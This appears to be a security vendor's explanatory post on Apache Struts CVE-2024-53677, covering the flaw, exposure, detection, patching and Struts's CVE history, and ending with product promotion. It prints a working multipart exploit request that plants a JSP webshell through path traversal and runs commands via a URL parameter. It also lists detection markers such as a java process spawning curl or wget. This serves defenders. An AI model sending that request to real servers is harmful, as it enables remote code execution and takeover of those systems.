Apache Struts CVE-2024-53677 is a CVSS 9.5 flaw in the legacy FileUploadInterceptor that lets unauthenticated attackers manipulate upload parameters to write files outside the intended directory. The Apache Struts team disclosed it on December 11, 2024, and public proof-of-concept code appeared within 48 hours. Active exploitation followed almost immediately. This is effectively a re-run of CVE-2023-50164, which means a lot of shops thought they had patched Struts and did not.
What is the actual vulnerability in CVE-2024-53677?
CVE-2024-53677 is a parameter pollution flaw in the deprecated FileUploadInterceptor that allows path traversal through case-sensitive parameter aliasing. Struts maps multipart file uploads to action properties using names like Upload, UploadFileName, and UploadContentType. The interceptor trusts client-supplied values for the filename field and does not enforce that only one canonical casing is used. Attackers submit two parameters: a legitimate lowercase one and a shadow parameter with different casing containing ../ sequences. When Struts normalizes the parameters and the application calls getUploadFileName(), the polluted value wins and the file is written wherever the attacker chose.
The fix the Struts team shipped in 2023 addressed CVE-2023-50164 but missed the parameter-aliasing angle when both FileUploadInterceptor and the newer ActionFileUploadInterceptor could coexist. Applications that migrated incompletely, or that still used the deprecated interceptor, remained exposed. The affected versions are Struts 2.0.0 through 2.3.37, 2.5.0 through 2.5.33, and 6.0.0 through 6.3.0.2.
How does the exploit chain work end to end?
The exploit starts with an unauthenticated HTTP POST to any endpoint that triggers the FileUploadInterceptor. The request is multipart and contains two crucial tricks: the filename field uses path traversal (../../../../webapps/ROOT/shell.jsp) and the parameter name is supplied twice with different casing so the interceptor's alias map selects the attacker's value during reflection-based property setting.
A minimal exploit looks like this:
POST /upload.action HTTP/1.1
Content-Type: multipart/form-data; boundary=----x
------x
Content-Disposition: form-data; name="Upload"; filename="shell.jsp"
Content-Type: application/octet-stream
<%@ page import="java.util.*,java.io.*"%><% Runtime.getRuntime().exec(request.getParameter("c")); %>
------x
Content-Disposition: form-data; name="top.UploadFileName"
../../../../webapps/ROOT/pwn.jsp
------x--
After a successful write, the attacker requests GET /pwn.jsp?c=id and gets command execution as the Tomcat user. From there, the standard post-exploitation path is lateral movement via service accounts, credential harvesting from server.xml, and establishing persistence through a second stage. In real incidents observed by SANS ISC in mid-December 2024, attackers dropped Godzilla and Behinder webshells within five minutes of the first probe.
Which products and libraries actually inherit this CVE?
CVE-2024-53677 propagates through any product that ships Apache Struts 2 as a transitive dependency, which is a long and uncomfortable list. Cisco confirmed that several network management tools built on Struts were impacted. Various ERP and government portal deployments inherit Struts through OEM relationships with integrators. Even products whose marketing pages never mention Struts can be vulnerable because the library sits deep in the build graph.
Identifying exposure is not a simple grep for struts2-core. You need to check:
- Direct Maven or Gradle dependencies
- Shaded and fat JARs that bundle Struts classes under renamed packages
- WAR files deployed inside enterprise containers like WebSphere and WebLogic
- Vendor appliances where the Java classpath is opaque
- SBOMs generated at build time versus SBOMs generated from deployed binaries
The mismatch between build-time and runtime SBOMs is where most teams miss exposure. A service might declare Struts 6.3.0.2 in its pom.xml while a base image or runtime agent loads an older version from /opt/tomcat/lib that takes precedence.
How do you detect exploitation attempts and post-exploitation?
Detection splits into three layers: request signatures, filesystem changes, and process lineage. On the WAF or reverse proxy, log any multipart request whose part headers include both filename=".. and parameters that appear twice with different casing. The Apache Struts project published IDS signatures through the Snort community ruleset (SID 64120 range) in mid-December 2024.
On the host, monitor for JSP or class files being written into webapp directories outside normal deploy windows. Auditd rules that track writes by the Tomcat or application-server user into webapps/, wars/, or /opt/app/web/ catch most real attacks. Process lineage is the highest-fidelity signal: any java process that spawns sh, cmd.exe, powershell, whoami, net, curl, or wget is almost certainly compromised for typical Struts workloads.
Post-exploitation indicators include:
- JSP or ASP files with recently modified timestamps in webapp roots
- Outbound HTTPS to rare destinations from the app-server process
- Scheduled tasks or systemd units created the same hour as suspicious writes
- New local accounts or SSH keys added under service-account home directories
What does proper patching actually require?
Upgrading to Struts 6.4.0 or later closes the parameter-aliasing bug, but the upgrade alone is insufficient. The Struts team hard-deprecated FileUploadInterceptor and replaced it with ActionFileUploadInterceptor, which uses a different action-property contract. Applications must migrate their action classes to accept UploadedFile objects instead of the old File plus FileName plus ContentType triple. If you drop in the new JAR but your actions still call getUploadFileName(), the application breaks silently or, worse, falls back to deprecated paths that some integrators have re-enabled.
For organizations that cannot upgrade immediately, the mitigations are:
- Remove the
FileUploadInterceptorfromstruts.xmland confirm no actions depend on it - Disable file upload endpoints entirely via WAF rules until migration completes
- Enforce a request-filter that rejects multipart parts with filenames containing
..or absolute paths - Run the application server process with a read-only filesystem for webapp directories where feasible
Do not rely on WAF-only mitigations long term. Every Struts path-traversal CVE since 2013 has eventually been bypassed by encoding tricks, and shops that leaned on ModSecurity rules ended up compromised anyway.
What does the broader Struts CVE history tell us about design risk?
The Struts CVE history tells us that the action-reflection model pioneered in Struts 2 is structurally difficult to secure and repeatedly produces the same class of bugs. Looking at the last decade:
- CVE-2017-5638 (Equifax breach): OGNL injection through Content-Type header
- CVE-2018-11776: OGNL injection via namespace URL component
- CVE-2020-17530: OGNL forced evaluation via tag attributes
- CVE-2023-50164: File upload path traversal via parameter abuse
- CVE-2024-53677: Case-sensitive variant of the 2023 bug
Each CVE patches the specific attack vector but leaves the underlying architectural assumption intact: Struts reflectively sets properties on action classes from user-supplied parameters, and the surface area for abuse remains large. Shops that have migrated off Struts entirely to frameworks with more explicit request-to-handler binding (Spring MVC, Micronaut, or modern Java EE with JAX-RS) spend noticeably less time on emergency patching cycles. The migration cost is real but amortizes across years of reduced incident exposure.
For teams who must stay on Struts due to vendor or legacy constraints, treat every Struts-related CVSS 9 CVE as a 24-hour patch cadence rather than part of a normal monthly maintenance cycle. The time from public PoC to active exploitation has compressed from weeks (2017) to hours (2024), and the business impact of a compromised public-facing Struts application is an Equifax-scale event.
How Safeguard.sh Helps
Safeguard.sh identifies every copy of vulnerable Apache Struts in your environment through 100-level transitive dependency scanning, including shaded JARs and binaries where traditional SCA tools fail. Reachability analysis then filters out the 60 to 80 percent of findings where the vulnerable FileUploadInterceptor code path is not actually invoked, so your team focuses on the applications that are genuinely exploitable rather than every pom.xml with a Struts entry. Griffin AI autonomously generates migration pull requests that swap FileUploadInterceptor for ActionFileUploadInterceptor and rewrites action classes to the new API, and container self-healing rebuilds affected images against patched base layers without human intervention. SBOM generation and ingest give you a single source of truth across build-time and runtime artifacts, and the TPRM workflow flags any upstream vendor whose appliance still ships vulnerable Struts.